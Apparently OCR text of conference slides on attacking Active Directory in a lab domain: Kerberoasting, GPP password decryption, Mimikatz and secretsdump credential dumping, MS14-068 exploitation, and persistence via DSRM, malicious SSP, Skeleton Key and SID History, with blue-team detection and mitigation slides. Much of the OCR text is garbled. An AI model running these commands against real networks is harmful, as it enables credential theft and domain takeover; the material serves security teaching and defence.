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Red Team (Offense)




PowerShell Attack Tool Evolution: PowerSploit to Empire

PowerSploit: [github.com/mattifestation/PowerSploit]

* Invoke-Shellcode

Invoke-TokenManipulation

Invoke-Mimikatz
Get-GPPPassword

Add-Persistence

Empire: [PowerShellEmpire.com]

* Post-exploitation agent with secure comms
* Run PowerShell code without using PowerShell.exe

* Rapidly deploy modules from key loggers to Mimikatz
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https://github.com/mattifestation/PowerSploit
https://powershellempire.com/

Recon: “SPN Scanning” Service Discovery

+SQL servers, instances, ports, etc.
+MSSQLSvc/adsmsSQLAPO1.adsecurity.org:1433
+ Exchange Client Access Servers
+exchangeMDB/adsmsEXCASO1.adsecurity.org
+RDP
+ TERMSERV/adsmsEXCASO1.adsecurity.org

Domain : lab. adsecurity.org

servernName : adsMssQLO02. 1ab. adsecurity.org

POrt : 9334

Instance :

ServiceAcCcountDN : {CN=svC-adsSQLSA,0U=TestServiceAccounts,DC=1ab,DC
Operatingsystem : {windows Server 2008 RZ2 Datacenterj

osservicePack : 1service Pack 17}
LastBootup : 3/8/2015 1:07:25 AM
osversion - {6.1 (7601)}

Description : {Production SQL Server}
SrvAcctUserID : svC-adsSQLSA
SrvAcctDescription : SQL Server Service ACCOuUNt
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SPN Scanning for Service Accounts

Doma1in :

UserlD : svc-S0QLAgentO1
PasswordLastSet : 01/03/2015% 18:42:
Lastl ogon E :

| i "1 D

SPNServers

servicePrincipalNames : {M55QLSvc/ADSAPPSQLOL. Tab. adsecurity.org:1433, M550QL5vc/ADSAPPSOLO:
MSSOLSvc/ADSAPPSQLOD3. 1ab. adsecurity. org:1433}

Find-PSServiceAccounts
https://github.com/PyroTek3/PowerShell-AD-Recon/

SPN Directory:
http://adsecurity.org/?page id=183
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http://adsecurity.org/?page_id=183
https://github.com/PyroTek3/PowerShell-AD-Recon/blob/master/Find-PSServiceAccounts

Cracking Service Account Passwords (Kerberoast)

Request/Save TGS service tickets & crack offline.

+ “Kerberoast” python-based TGS password
cracker.

4+ No elevated rights required.
+ No traffic sent to target.

Domain Controller

.............

User's Workstation

Application Server



Kerberoast: Request TGS Service Ticket

PS C:x» Mew—0Object Suystem.ldentityModel._Tokensz.KerherozRegquestorSecurityToken —ArgumentLizt "MSSQL.
y.org:=1433"

Id

SecurituKeus
DalidFrom

JalidTo
ServicePrincipalMame
SecurityKey

unid-?28eSeae—fleb—4dee—2h26—Hddd48e83266—2
t8uysztem.IdentityMode]l . Tokens . InMemorupS ymmetriclecurit yle v
6122015 1:21:49 AH

br12-,2015 11:21:49 AM
MSSQL-ad=sdbdl . lab.adsecurity.org:1433
Syztem.ldentityModel.Tokens.InMemorySymmetriclecurityKey

PS C:x2> klist
Current Logonld is B:B8x3B0a265
Cached Tickets: (2>

> Client: Joelser @ LAB.ADSECURITY.ORG

Server: krbtgt- -LAB.ADSECURITY.ORG @ LAB.ADSECURITY .ORG

KerbTicket Encryption Tuype: AES-256-CTS-HMAC-5HA1-7?6

Ticket Flagz Bx4BelBAAA —> forwardable renewable initial pre_authent name_canonicalize
Start Time: 6-11-28015 21:21:49 (local>

End Time: 6r12-28015 P:-21:-4% (local>

Renew Time: G6-18-2815% 21:21:49 (local>

Seszion Key Type: AES-256-CTS—HMAC-SHA1-76

Client: Joelser B LAB.ADSECURITY.ORG
Server: MESQL-sadsdbBl.lab.adsecurity.org:1433 @ LAB.ADSECURITY .ORG

KerbTicket Encryption Type: RSEADSI RC4-—HMACCNT >

Ticket Flags Bx4BalBB0@ -> forwardable renewable pre_authent name_canonicalize
Start Time: 6-11-2015 21:21:49 (local>

End Time: 6122015 7:21:49 <local>

Renew Time: 6-18-.20815 21:21:49 <local>

Session Key Type: RSADSI RC4-—HMACCNT >
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Kerberoast: Save & Crack TGS Service Ticket

mimikatz(powershell) # kerberos::Tist fexport

[D0000000] - Ox00000012 - aes256_hmac
Start/End/MaxRenew: &/11/2015 9:21:49 PM ; &/12/2015 7:21:49 AM ; 6,/18/2015 9:21:49 PM

Server Name : krbtgt/LAB. ADSECURITY.ORG @ LAB.ADSECURITY.ORG

Client Mame : JoeUser @ LAB. ADSECURITY.ORG

Flags 40el10000 : name_canonicalize ; pre_authent ; initial ; renewable ; forwardahle ;

= Saved to file : 0-40e10000-JoelUserdkrbtgt~LAB. ADSECURITY. ORG-LAB. ADSECURITY.ORG. kirbi

[00000001] - Ox00000017 - rcd_hmac_nt
Start/End/MaxRenew: &/11/2015 9:21:49 PM ; &/12/2015 7:21:49 AM ; 6,/18/2015 9:21:49 PM

Server MName : M550 fadsdb0l1. Tab. adsecurity.org:1433 @ LAB. ADSECURITY.ORG

Client Mame : JoeUser @ LAB. ADSECURITY.ORG

Flags 40al0000 : name_canonicalize ; pre_authent ; renewable ; forwardabhle ;

= Saved to file : 1-40a10000-JoelUser@Mssfl ~adsdbh0l1. Tab. adsecurity. org~1433-LAB. ADSECURITY . ORG. kirhbi

:/opt/kerberoast# python tgsrepcrack.py wordlist.txt MSSQL.kirbi

found password for ticket 0: SQL_P@5b5wOrd#! File: MSSQL.kirbi
ALl tickets cracked!
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Blue Team Response: TGS
Password Cracking

* Detection (noisy):

e Event ID 4769: A Kerberos service ticket was
requested

* Mitigation:

* Service Account passwords >25 characters
e Use (Group) Managed Service Accounts
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Exploiting Group Policy
Preferences

\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\

<?xml version="1.0" encoding="utf-8" ?>
- <Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
- <User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name='Administrator (built-in) m
02-18 01:53:01" uid="{DS5FE7352-81E1-42A2-B7DA-118402BE4C33}">
<Properties action="U" newName="ADSAdmin fullName="" description=""
cpassword="RI133B2WI2CiI0CaulDtrtTe3wdFwzCiWB5PSAXXMDstchJt3bL0OUieOBaZ/7rdQju
changelLogon=10" noChange=10" nevercxpires=0" acctbisabled=0' subAuthority=RID_ADMIN' us
(built-in)" expires="2015-02-17" />
</User>
</Groups>

PS C:\temp> Get-DecryptedCpassword 'RI133B2W

#Super@secure&Password$20157?
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Pivoting with Local Admin

4+ Using GPP Credentials
4+ Connect to other computers using ADSAdmin account
4+ Compromise Local Admin creds = Admin rights on all
+ Always RID 500 — doesn’t matter if renamed.
+ Mimikatz for more credentials!

R
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Blue Team Response: Exploiting GPP

* Detection:

e XML Permission Denied Checks

* Place xml file in SYSVOL & set Everyone:Deny
 Audit Access Denied errors

* GPO doesn’t exist, no legit reason for access

* Mitigation:
* Install KB2962486 on every computer used to manage
GPOs

* Delete existing GPP xml files in SYSVOL containing
passwords



Blue Team Response:
Pivoting via Local Admin

* Detection:
* Local admin account logon

* Mitigation:
* Use Microsoft LAPS (or similar) for automatic local
admin password change.
* Deploy KB2871997 on all systems.

 Disallow local account logon across network via
GPO.

* Don’t allow workstation to workstation
communication.

* Implement netwark segmentation.



Mimikatz:
The Credential Multi-tool

4+ Dump credentials
+Windows protected memory (LSASS). *
+ Active Directory Domain Controller database . *

+Dump Kerberos tickets
+for all users. *
4+ for current user.

+ Credential Injection
4+ Password hash (pass-the-hash)
4+ Kerberos ticket (pass-the-ticket)

4+ Generate Silver and/or Golden tickets
4+ And so much more!



Dump Credentials with Mimikatz

mimikatz{commandline}> # sekurlsa::logonpasswvords

A ; 5888474 (ABAABOAA:BAA4dadlee

Authentication Id
Cession

User Mame

Domain

SID

Username
Domain
LM
HTLHM
SHA1
tzpkg =
* lszsername
* Domain
=* Passuword
wdigest
#* lUsernane
»* Domain
#* Password
kerheros
# lsername
#* Domain
#* Paszword
ssp =
credman

Interactive from 2
hansolo
GDSECLAB

2

??Ea‘nu}_
SScredentialsis

$-1-5-21-147364341 9774954889 -2222329127-1187

HanSolo
ADSECLAD

6celddeS1bcd4212ed198a75d8bbd3 75
26%cBcb3ab23b2edb2df dB61cT7hB2818

66Addifeabbh?4f 321 fhbd58bfc1?ad4182228h2hb
Authentication Id

HanSolo
ADSECLAB
Falcon99*

HanSolo
ADSECLAB
Falcon9%*

HanSolo
LAB.ADSECURITY .ORG
Falcon99t
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Ses=sion

User Mame

Domain
SID

msw =

#* llzername

= Domain

»* MTLHM

=* SHA1
tspkg =

#* lszername

* Domain

* Password
wdigest =

#* lsername

#* Domain

* Passzsword
kerberos :

#* llzername

#* Domain

* Password
ssp =
credman =

Service Account
; 2858340 <{HABBHNO0H:AA2bL9d6d >

Service from A
zuc—SQLDBEngineBl
ADSECLAEB

E_

1-5-21-1473643419-774954889-22223

suc—SQLDBEnginedl

ADSECLAB
ddabfcBAche89f4cdcB?57a1411497096
467fB516e6155eedbB66BE2 YhAaddabbe

suc—SQLDBEnginefdl
ADSECLAR
ThizIzAGoodPassword?9?

suc—SQLDBEnginedl
ADSECLAR
ThizIzAGoodPassword???

suc—SQLDBEnginedi
LAB.ADSECURITY . ORG
ThizIzAGoodPassword???



Dumping AD Domain Credentials

4+ Get access to the NTDS.dit file & extract data.

4+ Copy AD database from remote DC.
4+ Grab AD database copy from backup.
4+ Get Virtual DC data.

4+ Dump credentials on DC (local or remote).
4+ Run Mimikatz (WCE, etc) on DC.
+ Invoke-Mimikatz on DC via PS Remoting.



Finding NTDS.dit on the Network

4+ Are your DC backups properly secured?
4+ Domain Controller storage?

+Who administers the virtual server
hosting virtual DCs?

4+ Are your VMWare/Hyper-V host admins
considered Domain Admins?

Hint: They should be.




Dump LSASS Process Memory

| ﬂWindnm Task Manager

_ File Options

Applications Processes |Services | Performi

View Help

|UserName| CPU' Me

Image ... =~
conhost.exe ADSAd. .. 00
CSrss,eXe SYSTEM aa
C8rss.exe SYSTEM o0
dfsrs.exe SYSTEM oo
dfssvc.exe SYSTEM oo
dns.exe SYSTEM oo
dwm.exe ADSAd. .. a0
explorer.exe ADSAd, .. a0
ISMsery . exe SYSTEM aa
lsm. exe Open File Location
Microsoft  End Process
MMC.EXE  End Process Tree
mMMC.eXe  [ebug
msdtc.ex (A Yirtualization
LUEEY Create Dump File
i Show ¢ Set Priority g
Properties

|Pruce55e5:44

Go to Service(s)

witch to

MINIDUMP

imimikatz{commandline? # sekurlsa::minidump c:“temp~lsass
: ‘ocistempilsass dmp’

mimikatz<{commandline? # sekurlsa::logonpasswords

Opening

Authentication Id

Sezssion

Uzer Hame

Domain

Logon Server
Logon Time

81D

: feistemprlsass . dmp

msw =
[A88AUAA3 1
=* Uzername
»* Domain
= LM
= MTLHM
= SHA1
tspkg :
#* Username
#* Domain
=* Password
wdigest =
* |lzeprname
* Tlomain
* Password
kerheros :
=* zername
#* Domain
=* Password

|PhymcaIMemnry:BU%$

4
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1

file for minidump. ..

A ; 218943 <(AU0ABABAA:BAA3573f >
Interactive from 1

ADSAdministrator

ADSECLAB

ADSDCA2

L/38-2815 11:81:84 PM
S—-1-5-21—-1387203482-2957264255-828990

Primary

ADSAdministrator

ADSECLAB
eSZ2cach741%9a%a226eVedabff986d116
PcHBd63a2f48f 45271 bc2236ed3f3ac
B5a6fh63B8cH65458471cd5a3dbBachhBd642a

ADSAdministrator
ADSECLAB
Password9??

ADSAdministrator
ADSECLAR
Password?9?

ADSAdministrator
LAB.ADSECURITY . ORG
Password???




Dump AD Credentials with Mimikatz

mimikatz({powershell) # Isadump::samrpc /patch
Domain : ADSECLAB / S5-1-5-21-1473643419-774954089-2222329127

RID : 000001f4 (500)
User : Administrator
LM -
: 6740d9cicab7T73d298dc3d94163543d

: 000001F5 (501)
: Guest

: 000001F6 (502)
: krbtgt

7e2a0e20851d0229F2489210b657bede

+ 0000038 (1000)
: admin

: 7c08d63a2f48f045971bc2236ed3f3ac

: 00000452 (1106)
: LukeSkywalker

; 177af8ab46321ceef22bde8376f2dba?

: 00000453 (1107)
: HanSolo

: 269c0chb3a623b2e062dd861c9b82818

: 00000454 (1108)
: Joelser

: 7c08d63a2f48f045971bc2236ed3f3ac




NTDSUtil?

"ac 1 ntds"” "i1fm" "create full i

PS C:\Users\Administrator.ADSECLAB> ntdsuti]
\Windows'system32\ntdsutil.exe: ac 1 ntds
Active instance set to "ntds”.
:\Windows'\system32\ntdsutil.exe: 1fm
1fm: create full c:\temp
reating snapshot...
Snapshot set {5113733a-e9ba-430f-a320-cl1168d2f62e2} generated successfully.
Snapshot {3fd7bd9a-dda5-4da0-b83c-243a8ff25690} mounted as C:\$SNAP_20150324.
Snapshot {3fd7bd9a-dda5-4da0-b83c-243a8ff25690} 1s already mounted.
Initiating DEFRAGMENTATION mode...
Source Database: C:\$5NAP_201503242343_VOLUMECS\W1indows\NTDS\ntds.d1t
Target Database: c:\temp\Active Directory\ntds.dit

Defragmentation Status (% complete)
0 10 20 30 40 50 60 70 80 S0 100
|

opying registry files...

opying c:\temp\registry\SYSTEM
opying c:\temp\registry\SECURITY
Snapshot {3fd7bd9a-dda5-4da0-b83c-243a8ff25690} unmounted.
IFM media created successfully in c:\temp

1fm: q
\Windows'system32\ntdsutil.exe: g
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Dump Password Hashes from NTDS.dit

:/opt/impacket-0.9.11# secretsdump.py -system /opt/ntds/system.hive -n-
ds /opt/ntds/ntds.dit LOCAL
Impacket v0.9.11 - Copyright 2002-2014 Core Security Technologies

] Target system bootKey: 0x47f313875531b01ed41a/749186116575b

] Dumping Domain Credentials (domain\uid:rid:1lmhash:nthash)

] Searching for pekList, be patient

] Pek found and decrypted: 0Oxc84elce/alals/df1l160a8d8f9b86d98c

[*] Reading and decrypting hashes from /opt/ntds/ntds.dit

ADSDC02%$:2101 :aad3b435b51404ecaad3b435b51404ee :caacd45916664 fe083b734a1898c9704e
ADSDC01%$:1000:aad3b435b51404eeaad3b435b51404ee:400c1cl111513a3a988671069ef7 fees58
ADSDC05%$:1104 :aad3b435b51404eecaad3b435b51404ee :aabbc5e3df7bfllebcadl8b07a065d89
ADSDC04%$:1105:aad3b435b51404eeaad3b435b51404ee:840c1a91da2670b6d5bd1927e6299 127
Guest :501 :aad3b435b51404ecaad3b435b51404ee:31dbc fel@dl6ae931b73c59d7e0c089cO: : :
Administrator:500:aad3b435b51404ecaad3b435b51404ee:/c08d63a2f48f045971bc2236ed3
krbtgt :502:aad3b435b51404eecaad3b435b51404ee:8a2fladcdd519a2e515780021d2d17/8a: : :
lab.adsecurity.org\Admin:1103:aad3b435b51404eecaad3b435b51404ece:/c08d63a2f48 045"
lab.adsecurity.org\LukeSkywalker:2601 :aad3b435b51404ecaad3b435b51404ee:17/7afBab:
lab.adsecurity.org\HanSolo:2602:aad3b435b51404ecaad3b435b51404ee:269c0cb3a623b2:
lab.adsecurity.org\Joelser:2605:aad3b435b51404eecaad3b435b51404ee:/c08d63a2t48 10
ADSWKWIN7$ : 2606 :aad3b435b51404ecaad3b435b51404ee:70553133c63b5df ffac ffab66b75 fd«
lab.adsecurity.org\ServerAdmin:2607 :aad3b435b51404ecaad3b435b51404ece: fO980eedddb:
lab.adsecurity.org\Nathaniel .Morris:2608:aad3b435b51404ecaad3b435b51404ee : fd404(
lab.adsecurity.org\Madison.Martinez:2609:aad3b435b51404eecaad3b435b51404ee : fd404(
lab.adsecurity.org\Kaitlyn.Allen:2610:aad3b435b51404ecaad3b435b51404ee: fd4040]e:
lab.adsecurity.org\Isabella.Wilson:2611:aad3b435b51404ecaad3b435b51404ee: fd4040.
lab.adsecurity.org\Savannah .Rebe rtes26l2pead3b435b51404eeaad3b435b51404ee : Td404
lab.adsecurity.org\Caleb.Lewis:2613:aad3b435b51404ceaad3b435b51404ce: fd40401edbe




New Kekeo
Tool

DA rights

+

DCSync
Password
Hashes over
the Network

Benjamin Delpy ‘
Moar Keys! ~ -
* Supplemental Credentials (Kerb)

* FQDN,domain & short name support




-—
Impersonate a Domain Controller
to get password hashes!




Blue Team Response:
Credential Theft

* Detection: Difficult

* Mitigation:
* Protect admin credentials
* Admins only logon to specific systems
* Limit Service Account rights/permissions

e Set all admin accounts to “sensitive &
cannot be delegated”

e Separate Admin workstations for
administrators (locked-down & no internet).



MS14-068: (Microsoft) Kerberos Vulnerability

+MS14-068 (CVE-2014-6324) Patch released
11/18/2014

4+ Domain Controller Kerberos Service (KDC)
didn’t correctly validate the PAC checksum.

4+ Effectively re-write user ticket to be a Domain
Admin.
e

4+ 0Own AD in 5 minutes

"Welcome Captain. Would yo u like a coffee before you take off"

1304 RAP - DEN LAST i
1ST LEC Fi
AZZ I S A Coach
st T NAME
3 15 e II IIIII I III Ill I IIIIIII I
P 010
2 Wi - | 3 4®pM
WUNITEDBOARDING PASS UNITED

http://adsecurity.org/?tag=ms14068

3 31
VI cdll \Ll_f'Ul'leLCIQD}


http://adsecurity.org/?tag=ms14068

MS14-068 (PyKEK 12/5/2014)

c:\Tempi\pykekms14-B68.py —u bobhafett@lab.adsecurity.orqg —p Password?9? -5 §-1-5-21-1473
2912°7-1617V -d adsdcH2. lab.adsecurity.org

[+] Building AS-REQ for adsdcB2.lab.adsecurity.ory... Donet

[+] Sending AS-REQ to adsdc®:.lab.adsecurity.org... Donet

[+] Receiving AS-REP from adzchE.lah.ad:ccurity.urg... Done*

[+] Parsing AS-EEP from adsdcH2.lab.adsecurity.org... Done?

[+] Hu11d1ng TGS-REQ for adsdcB2.lab.adsecurity.oryg Donet

[+] Sending TGE-REQ to adsdeB2.lab.adsecuritw.org... Dun&*

[+] Receiving TGE-REP from adsdcB2.lab.adsecurity.org... Done!

[+] Parsing TGE-REP from adsdcB2.lab.adsecurity.oryg Dune'

[+] Creating ccache file 'TGT_hobafett@lab. ad%ecurltJ org.ccache' ... Donet

nimikatz<commandline? # kerberos:iptc c:istemp pukek>I1IGT_hohafettPlab.adsecurity. o
Frincipal = <81 = bobafett ; @ LAB.ADSECURITY.ORG

Data A

Start/End-HaxRenew: 2/8-2015 7?:54:18 PH ; 2-9-2015 5:54:18 AH ; 2-15.72081
seryice Mams (W1l)» @ ke»btgt 5 LAB.ADSECURLLY .OHG ; @ LAB.ADSECUHLLY . OHG
Target Mame (01> ! krhtgt ; LAB_ADEECURITY.ORG ; P LAB.ADSECURITY .ORG
Client Mame (81> : hobhafett ; @ LAB.ADSECURITY.ORG

Flags S5HaBBHHA : pre_authent ; »enewabhle ; proxiable ; Forwuardable 3

Bezzion Hey BxB8AAE1L Y - rcd_hnmac_nt
34f2a3?4332h34??c51T4IdacEﬂ?Elca

Ticket : BxA0EAGAG - null ; kvno = 2 [..

# Injecting ticket : 0K

mimikatz<commandline?> # exit
Bye?

c:sITempspykekrnet use “sadsdeB2. lab.adsecurity.orgsadmin?
lhe command completed successtully.



MS14-068 Kekeo Exploit

PS5 C:xtempakekeo> .~ms14868.exe Adomain:lab.adsecurity.org suser:Joelser spasswol

- W . ME:14-868 POC 1.1 <(x86) release "Kiwi en C" <Apr 19 2015 0@:51:32>
B OB
M - N~ it x = =
nt ~ ~ H# Benjamin DELPY ‘“gentilkiwi® ¢ benjaminPgentilkiwi.com 2
‘HE v HEH' http: “blog.gentilkiwi.com Coe.eo>
f Hunun .- with thanks to Tom Maddock & Sylvain Monne = »* */

[CKDC]1 'ADSDCAL . lab.adsecurity.org’ will be the main server

[AUTH] Impersonation

[KDC]1 3 serverdis>» in list

[SIDARID] *'Joelser @ lab.adsecurity.org’ must bhe translated to SIDARID

YcH8d63a2f48f 45971 be2236ed3f3ac (rcd_hmac_nt>

ticket »*% Pass The Ticket =

[level 11 Reality CAS—REQ>

[level 21 Uan Chase ¢PAC TIME>

»* PAC generated

E*3 PFI': """Signﬂd."""

[level 31 The Hotel CTGS—REQ>
= = a oL Ly ] '

* HDSDGH t Kl !

#*# ADSDCAZ : [level 51 Limbho * <{KRB—CRED>

ito 1nject HHEHES onp tirst Fazssz—the—ticked

|3 sntemphkekeo? net wse “sadsdcoBd. a-.a-security.urghadminf‘

he command cumpleted successfully.

key

usep : Joelser
domain : lab.adsecurity.org
passuwopd =
i | : §-1-5-21-15837781?1-1489883446—-3268284411
rid : 1111
|

L] I"'Il 'I.Ill }

submitted fo

: * Ticket successfull
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User to Admin in 5 Minutes?

> -

F
A
-.'\ ,("\
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Blue Team Response: MS14-068

Detection:

* IDS Signature for Kerberos AS-REQ & TGS-REQ both
containing “Include PAC: False”

Mitigation:
* Patch servers with KB3011780 before running
DCPromo — patch the server build.
* Check patch status before running DCPromo

PS CG:n> Get—Hotfix KB3A11784

Source Description HotFixID InsztalledBy

ADSDCAL Security Update KB3811784 ADSECLAB~ADSAd



Advanced Persistence

THINKI' M'lﬂST
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Sneaky AD Persistence Tricks
(Attacker has DA access for 5 minutes)

+DSRM

+SSP 4+ Local Policy

+L Script
4+ Skeleton Key *G‘Zizf; Pcorllizys

+SID History 4+ Scheduled Tasks
4+ Custom WMI Provider +WMI

4+ PowerShell Empire +Output | SYSVOL
+Kerberos Ticket Forging



DSRM? What's DSRM?

*Directory Services Restore Mode
*“Break glass” access to DC

*DSRM password set when DC is
promoted

*Rarely changed.
*Password Change Process?



DSRM = DC Local Admin

«@Privilege "20" OK

USmimi katz({commandline) # lsadump::l1sa /name:D5RMTEst /inject
S#Domain : ADSECLAB S 5-1-5-21-1387203482-2957264255-828990924

' RID : 000019ff (6655)
U=ser : DSREMTEst

* Primary
LM :
NTLM

; 2b391dfco690cc38547d74b8bdBasb49

d883f7dedlchseclcabazclides3ab?

SAMEey

RID : 0O00001f4 (500)

User : Administrator

LM :

NTLM : Z2b391dfc6690cc3B8547d74b8bdBasb49

RID : 0O00001f5 (501)
User : Guest

LM :

NTLM :



Using DSRM Creds

 Reboot to DSRM

* Access DSRM without Rebooting (2k8+)

* DsrmAdminLogonBehavior =1
* Stop Active Directory (ntds) service
* Console logon (not RDP)



Using DSRM Creds

* Access DSRM without Rebooting
(2k8+)

* DsrmAdminLogonBehavior = 2

< Stop ActiveDi ntds)servi

* Console logon (not RDP)



Using DSRM Creds Over the Network

* Console logon:
* VMWare Remote Console
e (TCP 903)
* Hyper-V VM Connection
e (TCP 5900)
* [LO / Lights Out
* Network KVM

Sign in to: ADSDCO5
How do | sign in to another domain?

Name : adsHYPEOL

objectcClass : computer

ObjectGUID : 378958e4-bBb7-4b38-b924-47846C6CB4T72
SamAccountName 1 ads 01}

I B
serviceprincipalname : {Microsoft virtual Console Service/adsHYPEOL. lab. adsecurity. org
WSMAN/adsHYPEOL. lab. adsecurity.orqg, TERMSRV/adsHYPEGL. lab. adsecurity.o

Sean Metcalf (@Pyrotek3)



Malicious Security Service Provider (SSP)

PS5 C:x2 cistempsenable—mimissp.psl

Copying Mimikatz S5F DLL to c:swindows“system3d2 ...

mimilibh.d1l successfully copied.

Current S5P config:

kerheros -

msvl_H

schannel . mimikatz 2.8 alpha (x64) release "Kiwi

wdigest HHE O N

tspkyg Bt -~ HRE /% % =

pkuZu i ~ o~ H# Benjamin DELPY ‘gentilkiwi® < benjaminl
HH v HH http:/“blog.gentilkivi.com/mimikatz

Adding Mimika  HHHHEE with

PS C:vD cistempmimikatzsmimikatz "'privilege::debug

Updated systeq;nikatz<commandline> # privilege::debug

kerheros Privilege *26°' 0K
msyvl_ B

schannel mimikatz<commandline? # misc:: memssp
wdigest Injected =2

tspkyg
pkuZu
mimilib

Sean Metcalf (@Pyrotek3)



Malicious Security Service Provider (SSP)

ot

=10] x|

» Local Disk (C:) ~ Windows = System32 -

* |k | Search System32

® | Open with...  Mew folder

Mame -

Date modified Size

|T1,-r|:be

%4 miguiresource, dl

%) mimefilt.dll

mimilib . dll

7/13/2005 9:41 FM
11/20/2010 10:24 FM

6282015 8:00 PM

178 KB Application extension
41KB Application extension

Application extension

. @ |, SspiCache
-l LsaExtensionConfig
- | Lsalnformation

. Medialnterfaces

| MediaProperties
- |, MPDEV

- |, MSDTC
[ | MU

4

pr

m]LimitEIankPasswn. .. REG_DWORD

‘.‘.'-?] LsaPid REG_DWORD
‘.‘.'.!] MoLmHash REG_DWORD
3"1 Motification Pack... REG_MULTI_SZ
‘.‘.'-?] ProductType REG_DWORD

‘.’.'-ﬂ restrictanonymous  REG_DWORD
‘.‘.'-?] restrictanonymou. .. REG_DWORD
‘.’.'-ﬂ Secureboot REG_DWORD
3"1 Security Packages  REG_MULTI_SZ

000000001 (1)

0x00000 1fc (508)

0x00000001 (1)

scedli rassfm

0x00000008 (3)

000000000 (0)

0x00000001 {1)

0x00000001 (1)

kerberos msw1_0 schannel wdigest tspkg pku2y mimilib

|Enmpther‘l,I-IHZE"F_LDCAL_M.ﬁ.CHINE‘IS\"STEM‘I,EurrEnttlnnt'nISEt‘l,Cnnh'nl‘u_sa

Sean Metcalf (@Pyrotek3)




Malicious Security Service Provider (SSP)

)

6_6);? | = MACHINE = Microsoft = Windows NT - SecEdit v |23 [ search seceit

Organize « Mj[]pen *  Print  Mew folder

= ¥R Network | -
= jM& adsdcD2 : .
NETLOGON 28 GptTmpl.inf
"
S . H GptTmplinf - Notepad
R Fle Edit Format View Help
= . Polices

|[UnﬁchEj
. {6AC1786C-016F-11D2-945F-00C04B98« lUni cod e=yes

=} {31B2F340-016D-1102-945F-00CD4FBgs: | LSYSTem Access]
MinimumPasswordage = 1

El g MACHINE MaximumPasswordAge = 42
= | Micosoft MinimumPasswordLength = 7
' _ PasswordComplexity = 1
g8 Windows NT PasswordHistorysize = 24
\ Audit LockoutBadCount = 0

_ RequireLogonToChangePassword = 0
. SecEdit ForceLogoffwhenHourExpire = 0
E | Scipts IClearTextPassword = 0
LsaanonymousNameLookup = 0O
- Shutdown [Kerberos Policy]
. Startup MaxTicketage = 10
USER MaxRenewAge = 7
~ MaxSserviceAge = 600
= | THEF3EA0-BO07-3A 28 BOAR-D0EF254d IMaxC lockskew = 5




I\/IaI|C|ous Security Serwce Provider (SSP)

=10 x|

Sy ~ Machine = Microsoft » Windows NT = SecEdit - m I Search SecEdit
Organize *  Share with =  Mew folder ==~ i '@
El‘?! Metwork LI Marme ~ | Date modified | Type

= 1™ adsdc02
# 4 NETLOGON
B 4§ sYsvoL
E @) lab.adsecurity.org
= | . Policies
. {6AC17R6C-016F-11D2-945F-00C04B984F T}
. 131B2F340-0160-11D2-945F-00C04FBI84F T}
El . {31B2F340-B002-4A2A-BOAR-DO3EF 254410 1}

=¥ | GptTmpl.inf 6/17/2015 10:25PM  Setup Ir

= L Machine
= . Microsoft
=L Windows NT
. SecEdit

mﬁptTmpl.inf— Hotepad - |I:I|E|
File Edit Format WView Help
jDDDDDDDD:DDDDD3E5T [00000005] % (LOCAL SERVICE) :'
[00000000:000003e5] [00000005] '\ (LOCAL SERVICE)
[00000000:000003e5] [00000005] % (LOCAL SERVICE)
[00000000:000003e4] [00000005] ADSECLAB\ADSDCO2$ (NETWORK SERVICE) gNMbP#Tx) ' kHsU="w>MQ:@bE
[00000000:000003e4] [00000005] ADSECLAB\ADSDCO02$ (NETWORK SERVICE) gNMbP#Tx) ' KHSU="w>MQ :@b8
[00000000:000003e4] [00000005] ADSECLAB'\ADSDCO023 (NETWORK SERVICE) gNMbP#tx) ' kHSU="w>MQ :@b8
[00000000:000003e4] [00000005] ADSECLAB'\ADSDCO23$ (NETWORK SERVICE) gNMbP#tx) ' kHSU="w>MQ :@b8
[00000000:000003e4] [00000005] ADSECLAB'\ADSDCO2$ (NETWORK SERVICE) gNMbP#tx) ' kHsU="w>MQ : @hE—]
[00000000:00021133] [00000002] ADSECLAB‘\ADSAdministrator (ADsAdministrator) Password9g!
[00000000:000003e7] [00000005] ADSECLABM\ADSDCO2% (SYSTEM) gNMbP#tK)!kH5U="w}MQ:@bBHET]$(_i_J




Skeleton Key

" "misc::gskeleton"

PS C:x2> cistempsmimikatzsmimikatz "privilege::debug
- R . mimikatz 2.8 alpha <(x64> release "Kiwi en C" <{Jun 29 2815
B HE.
it 7 ~ #HH /= = =
it - - fH Benjamin DELPY ‘gentilkiwi® ¢ bhenjaminBgentilkiwi.com 2
HHE v Hit' http:Asblog.gentilkiwvi.coms/mimikatz {oe.eol
' g’ with 16 modules = = *-

mimikatz{commandline> # privilege::debug
Privilege *28*' 0K

mimikatz{commandline?» # misc::skeleton
[KDC]1 data

[KEDC] struct

[KDC]1 keys patch 0K

[RC4]1 functions

[RC4]1 init patch 0K

[RC41 decrypt patch 0K

mimikatz{commandline? # exit
Bye?

Sean Metcalf (@Pyrotek3)



Skeleton Key

e Account authentication success! With 2
different passwords?

C:sUserssJoelserinet use k: “sadsmswin2kier? . lab.adsecurity.orgsshared JPassword??t f-/user:Adminl
o
The command completed successfully.

CosUzerssJoelsernet use * Adelete
You have these remote connections:

K: “sadsmeswin2kBr2 . lab.adsecurity.orgshared
Continuwing will cancel the connections.

Do you want to continue this operation? <Y N> [HN1: y
The command completed successfully.

C:sUserssJoelserinet use k: HHad&mm-::i.nEkHrE.la]:r.adaec:urity.urg\shared,-"l_l.ser:l:ldminl'_‘lah
The command completed successfully.

C:sUserssJoelseri




SID History

55 C:\temp\mimikatz> Smimikatz "privilege::debug” "misc::addsid bobafett ADSAdministrator

CBEBEE, mimikatz 2.0 alpha (x64) release "Kiwi en C" (May 29 2015 23:55:17)
SEE A BE,
## /’ ‘.\ ## .',’ ®* T =
g8\ / #¢ Benjamin DELPY 'gentilkiwi’ ( benjamin@gentilkiwi.com )
"#2 v #2' http://blog.gentilkiwi.com/mimkatz (oe. eo)
‘EEBEE" with 15 modules * *= */

1mkatz(commandline) # privilege::debug
Privilege '20' 0K

imikatz(commandline) # misc::addsid bobafett ADSAdministrator
SIDHistory for '"bobafett’
* ADSAdministrator 0K

Sean Metcalf (@Pyrotek3)



SID History

PS5 C:\temp'mimikatz> get-aduser bobafett -properties sidhistory,memberof

DistinguishedMame : CM=BobaFett,CN=Users,DC=1ab,D=adsecurity,DC=0org
Enabled : True

G1venName :

Memberof = It

LJ
Name - BobaFett

DbjectClass T user

DbjectGUID : d4dle6c0-82a8-469T-b243-8602300e2dbe
SamAccountName : BobaFett

